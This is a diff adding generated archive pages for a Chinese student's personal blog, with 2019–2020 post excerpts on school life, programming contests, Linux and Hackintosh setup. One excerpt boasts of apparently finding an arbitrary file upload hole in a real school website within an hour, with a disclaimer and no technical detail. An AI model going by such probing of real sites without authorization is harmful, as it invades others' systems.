Hans362 's Blog 如何优雅地使用 VLC 播放辣鸡 APP 上的英语听力 很久都没有写过这种文章了辣么就来水一篇吧
如何优雅地使用 VLC 播放辣鸡 APP 上的英语听力 周记#14 - 近况:我的初三生活 *头图来自2018.12.29必应今日美图
又双叒叕是一篇暴露年龄系列的水文(//▽//)
上一篇周记居然是5个月前的!简直不能忍了2333…赶快来水一文否则博客都要长草啦w
虽说之前说好一模前不碰博客的,然而因为白嫖来的服务器到期的问题还是不得不维护了一下博客
不过现在一模考完啦~这篇周记(大雾)主要用来记录一下我的初三生活吧~
(等等…2018年终总结好像并没有写的样子…算了不写了2333)
周记#14 - 近况:我的初三生活
\ No newline at end of file
diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html
new file mode 100644
index 00000000..48dcb3c7
--- /dev/null
+++ b/archives/2019/02/index.html
@@ -0,0 +1 @@
+归档:2019/2 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/2019/06/index.html b/archives/2019/06/index.html
new file mode 100644
index 00000000..b44c5c3f
--- /dev/null
+++ b/archives/2019/06/index.html
@@ -0,0 +1 @@
+归档:2019/6 | Hans362 's Blog 加载中...
Hans362 's Blog 2019年上海中考大吐槽¯\_(ツ)_/¯ 上一篇破事水还是在4个月以前…嗯又来水文章了
就在不久前的6月15日、16日两天举行了上海市初中毕业统一学业考试(说白了就是中考),同时6月15日也是我生日…生日碰上中考,这事,真dei劲
咳咳…扯远了那么这篇文章用来疯狂吐槽今年的上海中考卷(在被市教委请去喝茶的边缘试探qwq
2019年上海中考大吐槽¯\_(ツ)_/¯
\ No newline at end of file
diff --git a/archives/2019/07/index.html b/archives/2019/07/index.html
new file mode 100644
index 00000000..6c8aa6ff
--- /dev/null
+++ b/archives/2019/07/index.html
@@ -0,0 +1 @@
+归档:2019/7 | Hans362 's Blog 加载中...
Hans362 's Blog 给你的 Ubuntu GNOME 桌面带来类 Mac OS 的体验 前段时间吃饱了撑的 拆了台废旧的笔记本电脑,主板已经被玩坏了,拿去修成本太高,因此我就把里面的硬盘拆下来玩玩~硬盘的型号是 Seagate Momentus PSD 160GB 混合型硬盘,接口是 SATA ,于是弄了个笔记本硬盘盒一装,S.M.A.R.T. 信息、坏道检测都没有问题呢,就变身我的移动硬盘啦~
正巧一直想要给电脑搞个 Linux 系统,就参照了 Little_Qiu 大佬的一篇文章:
我将可爱的 Ubuntu 18.04.2 LTS 顺利装进了口袋里~n(≧▽≦ )n
可惜…个人不太喜欢 GNOME 默认的拟物化主题…(可能也有挺多人喜欢的吧qwq…)所以决定给咱的 Ubuntu To Go 来个大改造!
毕竟,
好看是第一生产力。(雾
(上图即为最终效果图)
So…这篇文章就诞生啦!
给你的 Ubuntu GNOME 桌面带来类 Mac OS 的体验 周记#15 - 中考简报 各位,还记得上一篇文章么?
转眼几周过去了,被我疯狂吐槽的中考也终于出分了…
周记#15 - 中考简报
\ No newline at end of file
diff --git a/archives/2019/08/index.html b/archives/2019/08/index.html
new file mode 100644
index 00000000..abe5d9db
--- /dev/null
+++ b/archives/2019/08/index.html
@@ -0,0 +1 @@
+归档:2019/8 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#17 - 暑假大事记 转眼间这个愉快的 暑假就已经过去啦~(内心OS:不!我还没玩够!˚‧º·(˚ ˃̣̣̥᷄⌓˂̣̣̥᷅ )‧º·˚)
所以说明天就要踏入新高一的教室了呢~(其实早就已经去过了…)
那么就来回顾一下这个中考结束后疯玩 的暑假吧~
周记#17 - 暑假大事记 记一次黑苹果下 AMD 显卡驱动注入经历 不要问我为什么刚用 Ubuntu 体验完了伪 macOS 却又格盘玩起了黑苹果~
记一次黑苹果下 AMD 显卡驱动注入经历 周记#16 - CJ 初体验(多图预警) 没错!在调课大法的帮助下,我终于参加了人生中的第一次 CJ ~(好耶)
咱是 8.2 ChinaJoy 首日去的(因为门票相对便宜qwq),原以为人会很多的说,但是并没有我想象的那么多呢,估计周末两天人数会暴涨~
由于我毕竟不想孤身一人跑到大老远的浦东 SNIEC 奋战,我一蒟蒻又不敢和大佬面基,所以就约同学一起去逛啦~
周记#16 - CJ 初体验(多图预警)
\ No newline at end of file
diff --git a/archives/2019/09/index.html b/archives/2019/09/index.html
new file mode 100644
index 00000000..aaacdd5a
--- /dev/null
+++ b/archives/2019/09/index.html
@@ -0,0 +1 @@
+归档:2019/9 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#18 转眼已经开学一周,我也正式成为一名高中生啦(/≧▽≦)/~┴┴
最近我的博客更新突然变得频繁起来…甚至连周记都变成了“真●周记”(Flag立好
那么废话不多说咱就一起康康 这周都做了些啥吧~
周记#18
\ No newline at end of file
diff --git a/archives/2019/10/index.html b/archives/2019/10/index.html
new file mode 100644
index 00000000..5a801fd2
--- /dev/null
+++ b/archives/2019/10/index.html
@@ -0,0 +1 @@
+归档:2019/10 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#19 恭喜您已过完本年度所有法定节假日 Σ( ° △ °|||)︴
又是几周过去,转眼我进入高中已经一个多月啦qwq
和同学都已经差不多混熟~那么这篇特水的周记就记录一下这一个月的见闻吧~
P.S. 原谅我这糟糕的文笔,只能想到啥写啥╮(︶﹏︶)╭
周记#19
\ No newline at end of file
diff --git a/archives/2019/11/index.html b/archives/2019/11/index.html
new file mode 100644
index 00000000..b8e289d0
--- /dev/null
+++ b/archives/2019/11/index.html
@@ -0,0 +1 @@
+归档:2019/11 | Hans362 's Blog 加载中...
Hans362 's Blog 2019 CSP-S 复赛滚粗记 又是篇迟到的游记~
这次是真的凉透了…(真的是真哒
2019 CSP-S 复赛滚粗记 『不管晴天还是雨天,我只想和你相遇。』——动画电影《天気の子》观影感受 等待近三个月,跨越夏秋两季,期待已久的《天気の子》,总算是在中国大陆地区上映了,也成功地将一部夏天的电影硬生生地拖到了冬天…
大概是今年6月份中考完,刷推得知《天気の子》将于7.19在日本上映~看了第一部预告片就爱了~很希望能在暑假里看到它呐~
可惜…现实并非如此…我一度以为《天気の子》或许今年是无法引进了,不过好在结果并没有像2016年《君の名は》那样拖到12月份~
最初入坑新海诚也是通过《君の名は》这部巨作,之后又补了《言の葉の庭》,也是部很不错的电影~
原本打算11.1上映首日(周五)就去看的,然而由于上海这一言难尽的进博会调休,11.2(周六)学校还要上课…我吐了
然后11.3白天有点事也没去看,晚上买了票,终于11.4下午迫不及待地赶到电影院~一个人看完了这部电影(好惨
于是就有了这篇影评~
以下内容包含剧透,请谨慎阅读 以下内容包含剧透,请谨慎阅读 以下内容包含剧透,请谨慎阅读
『不管晴天还是雨天,我只想和你相遇。』——动画电影《天気の子》观影感受 2019 CSP-S 初赛游记 这是一篇迟到两个多星期的游记~
众所周知,NOIP(某个已经死掉的比赛)已经被和它名义上完全没有关系的不纳入行政轨道的允许任何年龄段参加的 CSP-J/S 取代
作为萌新 OIer 花了50块钱来了趟 2019 CSP-S 半日游~
2019 CSP-S 初赛游记
\ No newline at end of file
diff --git a/archives/2019/12/index.html b/archives/2019/12/index.html
new file mode 100644
index 00000000..88f696f5
--- /dev/null
+++ b/archives/2019/12/index.html
@@ -0,0 +1 @@
+归档:2019/12 | Hans362 's Blog 加载中...
Hans362 's Blog 2019年终总结&博客2周年致谢 两年前,即2017年的12月20日,我的博客旅程开始了
那时,我还在读初二
仍记得当时是在破服务器上跑了个 Typecho,搭配 @Archeb 写的超厉害的主题再加上自己的一通乱改,一个像模像样的博客就诞生了~
(一张 Typecho 时期的博客截图)
转眼间,已经整整两年过去了…我们即将告别21世纪10年代的最后一个冬天…
时间,真的太快了…
2019年终总结&博客2周年致谢
\ No newline at end of file
diff --git a/archives/2019/index.html b/archives/2019/index.html
new file mode 100644
index 00000000..4a06bbf1
--- /dev/null
+++ b/archives/2019/index.html
@@ -0,0 +1 @@
+归档:2019 | Hans362 's Blog 加载中...
Hans362 's Blog 2019年终总结&博客2周年致谢 两年前,即2017年的12月20日,我的博客旅程开始了
那时,我还在读初二
仍记得当时是在破服务器上跑了个 Typecho,搭配 @Archeb 写的超厉害的主题再加上自己的一通乱改,一个像模像样的博客就诞生了~
(一张 Typecho 时期的博客截图)
转眼间,已经整整两年过去了…我们即将告别21世纪10年代的最后一个冬天…
时间,真的太快了…
2019年终总结&博客2周年致谢 2019 CSP-S 复赛滚粗记 又是篇迟到的游记~
这次是真的凉透了…(真的是真哒
2019 CSP-S 复赛滚粗记 『不管晴天还是雨天,我只想和你相遇。』——动画电影《天気の子》观影感受 等待近三个月,跨越夏秋两季,期待已久的《天気の子》,总算是在中国大陆地区上映了,也成功地将一部夏天的电影硬生生地拖到了冬天…
大概是今年6月份中考完,刷推得知《天気の子》将于7.19在日本上映~看了第一部预告片就爱了~很希望能在暑假里看到它呐~
可惜…现实并非如此…我一度以为《天気の子》或许今年是无法引进了,不过好在结果并没有像2016年《君の名は》那样拖到12月份~
最初入坑新海诚也是通过《君の名は》这部巨作,之后又补了《言の葉の庭》,也是部很不错的电影~
原本打算11.1上映首日(周五)就去看的,然而由于上海这一言难尽的进博会调休,11.2(周六)学校还要上课…我吐了
然后11.3白天有点事也没去看,晚上买了票,终于11.4下午迫不及待地赶到电影院~一个人看完了这部电影(好惨
于是就有了这篇影评~
以下内容包含剧透,请谨慎阅读 以下内容包含剧透,请谨慎阅读 以下内容包含剧透,请谨慎阅读
『不管晴天还是雨天,我只想和你相遇。』——动画电影《天気の子》观影感受 2019 CSP-S 初赛游记 这是一篇迟到两个多星期的游记~
众所周知,NOIP(某个已经死掉的比赛)已经被和它名义上完全没有关系的不纳入行政轨道的允许任何年龄段参加的 CSP-J/S 取代
作为萌新 OIer 花了50块钱来了趟 2019 CSP-S 半日游~
2019 CSP-S 初赛游记 周记#19 恭喜您已过完本年度所有法定节假日 Σ( ° △ °|||)︴
又是几周过去,转眼我进入高中已经一个多月啦qwq
和同学都已经差不多混熟~那么这篇特水的周记就记录一下这一个月的见闻吧~
P.S. 原谅我这糟糕的文笔,只能想到啥写啥╮(︶﹏︶)╭
周记#19 周记#18 转眼已经开学一周,我也正式成为一名高中生啦(/≧▽≦)/~┴┴
最近我的博客更新突然变得频繁起来…甚至连周记都变成了“真●周记”(Flag立好
那么废话不多说咱就一起康康 这周都做了些啥吧~
周记#18 周记#17 - 暑假大事记 转眼间这个愉快的 暑假就已经过去啦~(内心OS:不!我还没玩够!˚‧º·(˚ ˃̣̣̥᷄⌓˂̣̣̥᷅ )‧º·˚)
所以说明天就要踏入新高一的教室了呢~(其实早就已经去过了…)
那么就来回顾一下这个中考结束后疯玩 的暑假吧~
周记#17 - 暑假大事记 记一次黑苹果下 AMD 显卡驱动注入经历 不要问我为什么刚用 Ubuntu 体验完了伪 macOS 却又格盘玩起了黑苹果~
记一次黑苹果下 AMD 显卡驱动注入经历 周记#16 - CJ 初体验(多图预警) 没错!在调课大法的帮助下,我终于参加了人生中的第一次 CJ ~(好耶)
咱是 8.2 ChinaJoy 首日去的(因为门票相对便宜qwq),原以为人会很多的说,但是并没有我想象的那么多呢,估计周末两天人数会暴涨~
由于我毕竟不想孤身一人跑到大老远的浦东 SNIEC 奋战,我一蒟蒻又不敢和大佬面基,所以就约同学一起去逛啦~
周记#16 - CJ 初体验(多图预警) 给你的 Ubuntu GNOME 桌面带来类 Mac OS 的体验 前段时间吃饱了撑的 拆了台废旧的笔记本电脑,主板已经被玩坏了,拿去修成本太高,因此我就把里面的硬盘拆下来玩玩~硬盘的型号是 Seagate Momentus PSD 160GB 混合型硬盘,接口是 SATA ,于是弄了个笔记本硬盘盒一装,S.M.A.R.T. 信息、坏道检测都没有问题呢,就变身我的移动硬盘啦~
正巧一直想要给电脑搞个 Linux 系统,就参照了 Little_Qiu 大佬的一篇文章:
我将可爱的 Ubuntu 18.04.2 LTS 顺利装进了口袋里~n(≧▽≦ )n
可惜…个人不太喜欢 GNOME 默认的拟物化主题…(可能也有挺多人喜欢的吧qwq…)所以决定给咱的 Ubuntu To Go 来个大改造!
毕竟,
好看是第一生产力。(雾
(上图即为最终效果图)
So…这篇文章就诞生啦!
给你的 Ubuntu GNOME 桌面带来类 Mac OS 的体验
\ No newline at end of file
diff --git a/archives/2019/page/2/index.html b/archives/2019/page/2/index.html
new file mode 100644
index 00000000..8c5dd632
--- /dev/null
+++ b/archives/2019/page/2/index.html
@@ -0,0 +1 @@
+归档:2019 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#15 - 中考简报 各位,还记得上一篇文章么?
转眼几周过去了,被我疯狂吐槽的中考也终于出分了…
周记#15 - 中考简报 2019年上海中考大吐槽¯\_(ツ)_/¯ 上一篇破事水还是在4个月以前…嗯又来水文章了
就在不久前的6月15日、16日两天举行了上海市初中毕业统一学业考试(说白了就是中考),同时6月15日也是我生日…生日碰上中考,这事,真dei劲
咳咳…扯远了那么这篇文章用来疯狂吐槽今年的上海中考卷(在被市教委请去喝茶的边缘试探qwq
2019年上海中考大吐槽¯\_(ツ)_/¯ PHP踩坑记录#1 这段时间在开发追番列表展示API (人生中第一个PHP项目啊…),迫于没有系统地学习过PHP只是略知一二,在开发的过程中可以说是到处是坑,于是乎…在我努力地现学现卖的过程下,还是顺利 地写完了这个程序
至于运行的效率以及代码质量么…不管了…(自信
那么针对踩过的坑就记录一下吧~(先说明一下 PHP 版本为7.1.26)
PHP踩坑记录#1 【项目发布】追番列表展示API **DEMO:**http://test.hans362.cn/get_bangumi_list.php?uid=66745436
**GitHub:**https://github.com/hans362/Bangumi-List-Display
For English version, please …
Sorry, we are currently unable to provide an English version of this file. Maybe sometime in the future we will 😃
一个快速、轻巧的基于PHP的追番列表展示工具。(目前仅支持 BiliBili )
【项目发布】追番列表展示API 如何优雅地使用 VLC 播放辣鸡 APP 上的英语听力 很久都没有写过这种文章了辣么就来水一篇吧
如何优雅地使用 VLC 播放辣鸡 APP 上的英语听力 周记#14 - 近况:我的初三生活 *头图来自2018.12.29必应今日美图
又双叒叕是一篇暴露年龄系列的水文(//▽//)
上一篇周记居然是5个月前的!简直不能忍了2333…赶快来水一文否则博客都要长草啦w
虽说之前说好一模前不碰博客的,然而因为白嫖来的服务器到期的问题还是不得不维护了一下博客
不过现在一模考完啦~这篇周记(大雾)主要用来记录一下我的初三生活吧~
(等等…2018年终总结好像并没有写的样子…算了不写了2333)
周记#14 - 近况:我的初三生活
\ No newline at end of file
diff --git a/archives/2020/01/index.html b/archives/2020/01/index.html
new file mode 100644
index 00000000..bb9830ed
--- /dev/null
+++ b/archives/2020/01/index.html
@@ -0,0 +1 @@
+归档:2020/1 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/2020/02/index.html b/archives/2020/02/index.html
new file mode 100644
index 00000000..cda75e8b
--- /dev/null
+++ b/archives/2020/02/index.html
@@ -0,0 +1 @@
+归档:2020/2 | Hans362 's Blog 加载中...
Hans362 's Blog 一次任意文件上传漏洞的实战经历 这一切都要从一只蝙蝠说起…
最近看到了一个站,是某高中的在线英语人机对话练习平台,目测了一下网站应该是外包的,因为首页上还有客服的 QQ 和定制的联系方式…
像这种看上去粗制滥造 的小网站肯定一挖一堆洞…果然1小时后搞定
声明:本文作者没有利用该漏洞做出任何恶意或违法行为,也未触及任何数据,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担
一次任意文件上传漏洞的实战经历 【转载】不能把冬天唱成春的开始 本文据传是成都七中的开课致辞,原文链接(现已被屏蔽):成都七中老师开课致辞:不能把冬天唱成春的开始 由于无法确认原作者,暂且转载,如有不妥或侵权请务必与我联系:i@hans362.cn,感谢。
【转载】不能把冬天唱成春的开始
\ No newline at end of file
diff --git a/archives/2020/03/index.html b/archives/2020/03/index.html
new file mode 100644
index 00000000..049058a1
--- /dev/null
+++ b/archives/2020/03/index.html
@@ -0,0 +1 @@
+归档:2020/3 | Hans362 's Blog 加载中...
Hans362 's Blog Travis CI + Hexo 实现静态博客自动部署 本文使用 MWeb Markdown 编辑器写于 iPad Air 2,利用 iOS 端迄今为止最佳的可视化 Git 工具 Working Copy 提交至博客仓库,经 Travis CI 自动构建后自动发布至 GitHub Pages。
以上是我最理想的写博客的流程,而今天我终于实现啦!😆
众所周知,静态博客的一大特点就是没有管理后台,因此常规的操作流程一般是写文章-丢进_posts文件夹-手动执行构建-发布。事实上我也一直是这么干的,得益于 Coding 的 CloudStudio,我至少可以不用电脑随时随地执行这套繁琐的操作,觉得这样将就用着也还能接受。但是最近发现 CloudStudio 经常卡半天进不去,再加上 Coding 升级后混乱的用户体验(个人版、企业版、团队版、腾讯云开发者全部杂糅在一起),我还是决定放弃这套糟糕的流程。
所以,不如咱就试试让 Travis CI 替咱做掉这些繁琐的工作吧!
Travis CI + Hexo 实现静态博客自动部署 ThinkPad X201s 固态硬盘升级记 平时我一直拿 ThinkPad X201s 当主力机用,写文档、做 PPT、撸代码都挺顺手,再加上它又是 ThinkPad 的经典设计,标志性的小红点更是加了不少的情怀分
然而毕竟是8年前的老电脑,最近升级到 Win10 1909 1月更新 之后我发现它慢得有点吓人😢
具体来说就是:
开机时 Win10 Logo 下方的圆圈需要转很久 Win10 Logo 消失后会有 10s 的黑屏 输完开机密码不能立即进入桌面 进入桌面后还需要等待任务栏加载 总开机时长在 1min30s 至 2min 开机后首次启动 Office 套件需要 30s 左右的等待 硬盘工作时噪声巨大 偶尔会出现整个屏幕卡死、鼠标键盘全部无效的死机情况,硬盘灯不亮 估摸着大概是原配的机械硬盘已经不太好了,于是决定升级一下固态硬盘✌️
ThinkPad X201s 固态硬盘升级记
\ No newline at end of file
diff --git a/archives/2020/04/index.html b/archives/2020/04/index.html
new file mode 100644
index 00000000..70f26f63
--- /dev/null
+++ b/archives/2020/04/index.html
@@ -0,0 +1 @@
+归档:2020/4 | Hans362 's Blog 加载中...
Hans362 's Blog ThinkPad X201s 黑苹果安装记录 继上次给这台 ThinkPad X201s 更换了 SSD 以后,想着既然都换了 SSD 怎么能不尝尝黑苹果的滋味呢w
然而很不幸的是网络上几乎没有任何关于 ThinkPad X201s 黑苹果安装的有效信息,只有几篇关于 X201 和 X201i 的,于是在踩了特别特别多的坑以后决定还是在这里记录一下完整的安装过程吧~
ThinkPad X201s 黑苹果安装记录
\ No newline at end of file
diff --git a/archives/2020/05/index.html b/archives/2020/05/index.html
new file mode 100644
index 00000000..eb179099
--- /dev/null
+++ b/archives/2020/05/index.html
@@ -0,0 +1 @@
+归档:2020/5 | Hans362 's Blog 加载中...
Hans362 's Blog MoeLink - 奇怪的内网穿透服务增加啦 或许各位已经发现,在我的博客顶部新增了一个“实验室”的菜单~
正如博客的直白的命名方式一样,懒鬼 Hans362 决定给他的实验室取名为 Hans362 's Lab,开张几个月内已经拐骗来了 很多 Server 酱(
TA们共同承包了 oj.hans362.cn
、rss.hans362.cn
、nas.hans362.cn
、ao3.hans362.cn
等多项服务,7*24小时卖力地为老板干活(
然而黑心老板 Hans362 认为TA们并不够累,因此决定加 大 力 度 继 续 压 榨 (雾)
于是就搞了这个 MoeLink 内网穿透服务~(特别感谢 Akkariin 大佬的 SakuraPanel~)
https://frp.hans362.cn/
MoeLink - 奇怪的内网穿透服务增加啦 周记#21 - 网课时代完结撒花~ 2020年5月15日下午,伴随着最后一节线上地理课的结束,以及满屏的“完结撒花”、“周一见”、“要面基了”,网课时代终究成为了回忆(泪目😭
事实上,这篇周记其实在三月份的时候我就打算要写了,一直躺在草稿箱里咕咕咕到现在(
所以这篇周记主要是关于这三个月的网课生活~
周记#21 - 网课时代完结撒花~ 【题解】POJ2018 Best Cow Fences 最近终于开始学《提高篇》了…然后就刷到了这一题…
《提高篇》书上写的这道题的思路说实话我看了很久都不太能理解(当然现在明白了),所以就以我的角度来谈谈这道题该怎么下手做出正解~
【题解】POJ2018 Best Cow Fences
\ No newline at end of file
diff --git a/archives/2020/07/index.html b/archives/2020/07/index.html
new file mode 100644
index 00000000..537fa2ea
--- /dev/null
+++ b/archives/2020/07/index.html
@@ -0,0 +1 @@
+归档:2020/7 | Hans362 's Blog 加载中...
Hans362 's Blog 年轻人的第一台软路由 - NanoPi R2S 开箱 一直以来,家里的小米路由器3都在承受着它这个年纪不应该承受的痛苦,无论是 Samba 文件共享还是打印机共享或是某不可描述服务,全部都由 128MB 小内存的它独自默默承担
面对着黑心老板 Hans362 的压榨,它选择了通过减慢速度、频繁死机上不了网、多次掉盘丢数据等多种方式,成功地让我抛弃了它
更为致命的是小米路由器3作为一款所谓的“千兆路由器”,“千兆”居然指的是 WLAN 传输速率,而 WAN/LAN 口全部都是 100Mbps,这不是脱裤子放屁嘛🤔
(小米路由器3包装盒,确实写着千兆路由器,然而指的是 WLAN 速率,要你有何用?恕我直言,小米的路由器就垃圾,还是别碰比较好)
于是趁着这段时间有空,自己瞎入了一款 ARMv8 开发板,是 FriendlyARM 友善之臂的 NanoPi R2S,来开箱做个测评,顺便谈谈我是如何用它优化家里的网络的~
年轻人的第一台软路由 - NanoPi R2S 开箱
\ No newline at end of file
diff --git a/archives/2020/10/index.html b/archives/2020/10/index.html
new file mode 100644
index 00000000..bf7fdd87
--- /dev/null
+++ b/archives/2020/10/index.html
@@ -0,0 +1 @@
+归档:2020/10 | Hans362 's Blog 加载中...
Hans362 's Blog 2020 CSP-S 初赛游记 最近事情是真的多,拼命赶各种 Deadline 准备各种考试都好久没更新博客了,总之等我哪天有空了再发一篇周记说说近况吧
那么这篇文章是我在2020年10月11日参加的 CSP-S 初赛的游记~
去年初赛游记请移步:2019 CSP-S 初赛游记
2020 CSP-S 初赛游记
\ No newline at end of file
diff --git a/archives/2020/11/index.html b/archives/2020/11/index.html
new file mode 100644
index 00000000..4b8e2758
--- /dev/null
+++ b/archives/2020/11/index.html
@@ -0,0 +1 @@
+归档:2020/11 | Hans362 's Blog 加载中...
Hans362 's Blog 2020 CSP-S 复赛游记 好久不见,距离上一次的 CSP-S 初赛游记又是一个月啦~
昨天,也就是2020年11月7日,我刚刚考完了本年度的 CSP-S 第二轮,几句话简单总结一下就是:
1582年的10月竟然只有21 21 2 1 天?天文学家又为何需要计算1 0 9 10^9 1 0 9 天后的日期? 动物园竟然饲养着2 64 2^{64} 2 6 4 种动物?1 0 8 10^8 1 0 8 种饲料又从何而来? 数据库软件竟内置了1 0 5 10^5 1 0 5 个函数?又为何频频无响应? 决斗场上为何会有1 0 6 10^6 1 0 6 条蛇?蛇又是为了什么而互相吞食? 为何选手出了考场都口吐芬芳,甚至想要亲切地问候 €€£ 外公的女儿? 为何全网都在寻找 T1 的出题人,想要和 TA 面基? 为何 €€£ 今年不考 DP?为何正式比赛变成了真•模拟赛? 组题人(不是错别字)又究竟受何打击?竟这样报复社会?
这背后究竟是人性的扭曲,还是道德的沦丧?请继续阅读本文(
P.S. 去年复赛滚粗记请移步:2019 CSP-S 复赛滚粗记
2020 CSP-S 复赛游记
\ No newline at end of file
diff --git a/archives/2020/12/index.html b/archives/2020/12/index.html
new file mode 100644
index 00000000..01891c70
--- /dev/null
+++ b/archives/2020/12/index.html
@@ -0,0 +1 @@
+归档:2020/12 | Hans362 's Blog 加载中...
Hans362 's Blog 2020年终总结 现在是2020年12月31日晚八点,我刚刚上完课回到家,也算是赶上2020的末班车了,终于能在新的一年开始之前动笔写下这篇年终总结
2020年,曾经听起来充满科幻感的年份,眼看着就到了最后一天,心里说不出的感觉。
如果要用一个词来总结2020年的话,我觉得可能是「魔幻」,感觉好像做了一场大梦,一觉醒来浑浑噩噩就到了年末,前半年所经历的一切都只剩下了模糊飘渺的印象
时间真的可以冲淡一切,也许多年以后,我就将彻底丧失关于这一年的所有记忆,只剩下零星的碎片,以及那个所谓的「正确的集体记忆」
幸好,我还有我的博客,还有 Twitter 和 Teleblog,我得以穿越时空的界限去重温这一年,去重拾那些记忆,也勉强对抗一下这「正确的集体记忆」,这或许也正是独立博客存在于这个时代中的意义与价值
那么就来回顾一下这一年的点点滴滴吧
2020年终总结 NOIP 2020 游记 这是篇迟到了两周的游记,因为考完 NOIP 后我这个苦逼的文化课选手又去准备地理生物一模了,一模考完后的这个周末才开始肝这篇游记qwq
这是我人生中第一次参加 NOIP(去年的那个 CSP-S 不算的话),或许也将是最后一次或者倒数第二次(如果条件允许的话高三可能还会去打一场),
NOIP 2020 游记
\ No newline at end of file
diff --git a/archives/2020/index.html b/archives/2020/index.html
new file mode 100644
index 00000000..259191de
--- /dev/null
+++ b/archives/2020/index.html
@@ -0,0 +1 @@
+归档:2020 | Hans362 's Blog 加载中...
Hans362 's Blog 2020年终总结 现在是2020年12月31日晚八点,我刚刚上完课回到家,也算是赶上2020的末班车了,终于能在新的一年开始之前动笔写下这篇年终总结
2020年,曾经听起来充满科幻感的年份,眼看着就到了最后一天,心里说不出的感觉。
如果要用一个词来总结2020年的话,我觉得可能是「魔幻」,感觉好像做了一场大梦,一觉醒来浑浑噩噩就到了年末,前半年所经历的一切都只剩下了模糊飘渺的印象
时间真的可以冲淡一切,也许多年以后,我就将彻底丧失关于这一年的所有记忆,只剩下零星的碎片,以及那个所谓的「正确的集体记忆」
幸好,我还有我的博客,还有 Twitter 和 Teleblog,我得以穿越时空的界限去重温这一年,去重拾那些记忆,也勉强对抗一下这「正确的集体记忆」,这或许也正是独立博客存在于这个时代中的意义与价值
那么就来回顾一下这一年的点点滴滴吧
2020年终总结 NOIP 2020 游记 这是篇迟到了两周的游记,因为考完 NOIP 后我这个苦逼的文化课选手又去准备地理生物一模了,一模考完后的这个周末才开始肝这篇游记qwq
这是我人生中第一次参加 NOIP(去年的那个 CSP-S 不算的话),或许也将是最后一次或者倒数第二次(如果条件允许的话高三可能还会去打一场),
NOIP 2020 游记 2020 CSP-S 复赛游记 好久不见,距离上一次的 CSP-S 初赛游记又是一个月啦~
昨天,也就是2020年11月7日,我刚刚考完了本年度的 CSP-S 第二轮,几句话简单总结一下就是:
1582年的10月竟然只有21 21 2 1 天?天文学家又为何需要计算1 0 9 10^9 1 0 9 天后的日期? 动物园竟然饲养着2 64 2^{64} 2 6 4 种动物?1 0 8 10^8 1 0 8 种饲料又从何而来? 数据库软件竟内置了1 0 5 10^5 1 0 5 个函数?又为何频频无响应? 决斗场上为何会有1 0 6 10^6 1 0 6 条蛇?蛇又是为了什么而互相吞食? 为何选手出了考场都口吐芬芳,甚至想要亲切地问候 €€£ 外公的女儿? 为何全网都在寻找 T1 的出题人,想要和 TA 面基? 为何 €€£ 今年不考 DP?为何正式比赛变成了真•模拟赛? 组题人(不是错别字)又究竟受何打击?竟这样报复社会?
这背后究竟是人性的扭曲,还是道德的沦丧?请继续阅读本文(
P.S. 去年复赛滚粗记请移步:2019 CSP-S 复赛滚粗记
2020 CSP-S 复赛游记 2020 CSP-S 初赛游记 最近事情是真的多,拼命赶各种 Deadline 准备各种考试都好久没更新博客了,总之等我哪天有空了再发一篇周记说说近况吧
那么这篇文章是我在2020年10月11日参加的 CSP-S 初赛的游记~
去年初赛游记请移步:2019 CSP-S 初赛游记
2020 CSP-S 初赛游记 年轻人的第一台软路由 - NanoPi R2S 开箱 一直以来,家里的小米路由器3都在承受着它这个年纪不应该承受的痛苦,无论是 Samba 文件共享还是打印机共享或是某不可描述服务,全部都由 128MB 小内存的它独自默默承担
面对着黑心老板 Hans362 的压榨,它选择了通过减慢速度、频繁死机上不了网、多次掉盘丢数据等多种方式,成功地让我抛弃了它
更为致命的是小米路由器3作为一款所谓的“千兆路由器”,“千兆”居然指的是 WLAN 传输速率,而 WAN/LAN 口全部都是 100Mbps,这不是脱裤子放屁嘛🤔
(小米路由器3包装盒,确实写着千兆路由器,然而指的是 WLAN 速率,要你有何用?恕我直言,小米的路由器就垃圾,还是别碰比较好)
于是趁着这段时间有空,自己瞎入了一款 ARMv8 开发板,是 FriendlyARM 友善之臂的 NanoPi R2S,来开箱做个测评,顺便谈谈我是如何用它优化家里的网络的~
年轻人的第一台软路由 - NanoPi R2S 开箱 MoeLink - 奇怪的内网穿透服务增加啦 或许各位已经发现,在我的博客顶部新增了一个“实验室”的菜单~
正如博客的直白的命名方式一样,懒鬼 Hans362 决定给他的实验室取名为 Hans362 's Lab,开张几个月内已经拐骗来了 很多 Server 酱(
TA们共同承包了 oj.hans362.cn
、rss.hans362.cn
、nas.hans362.cn
、ao3.hans362.cn
等多项服务,7*24小时卖力地为老板干活(
然而黑心老板 Hans362 认为TA们并不够累,因此决定加 大 力 度 继 续 压 榨 (雾)
于是就搞了这个 MoeLink 内网穿透服务~(特别感谢 Akkariin 大佬的 SakuraPanel~)
https://frp.hans362.cn/
MoeLink - 奇怪的内网穿透服务增加啦 周记#21 - 网课时代完结撒花~ 2020年5月15日下午,伴随着最后一节线上地理课的结束,以及满屏的“完结撒花”、“周一见”、“要面基了”,网课时代终究成为了回忆(泪目😭
事实上,这篇周记其实在三月份的时候我就打算要写了,一直躺在草稿箱里咕咕咕到现在(
所以这篇周记主要是关于这三个月的网课生活~
周记#21 - 网课时代完结撒花~ 【题解】POJ2018 Best Cow Fences 最近终于开始学《提高篇》了…然后就刷到了这一题…
《提高篇》书上写的这道题的思路说实话我看了很久都不太能理解(当然现在明白了),所以就以我的角度来谈谈这道题该怎么下手做出正解~
【题解】POJ2018 Best Cow Fences ThinkPad X201s 黑苹果安装记录 继上次给这台 ThinkPad X201s 更换了 SSD 以后,想着既然都换了 SSD 怎么能不尝尝黑苹果的滋味呢w
然而很不幸的是网络上几乎没有任何关于 ThinkPad X201s 黑苹果安装的有效信息,只有几篇关于 X201 和 X201i 的,于是在踩了特别特别多的坑以后决定还是在这里记录一下完整的安装过程吧~
ThinkPad X201s 黑苹果安装记录 Travis CI + Hexo 实现静态博客自动部署 本文使用 MWeb Markdown 编辑器写于 iPad Air 2,利用 iOS 端迄今为止最佳的可视化 Git 工具 Working Copy 提交至博客仓库,经 Travis CI 自动构建后自动发布至 GitHub Pages。
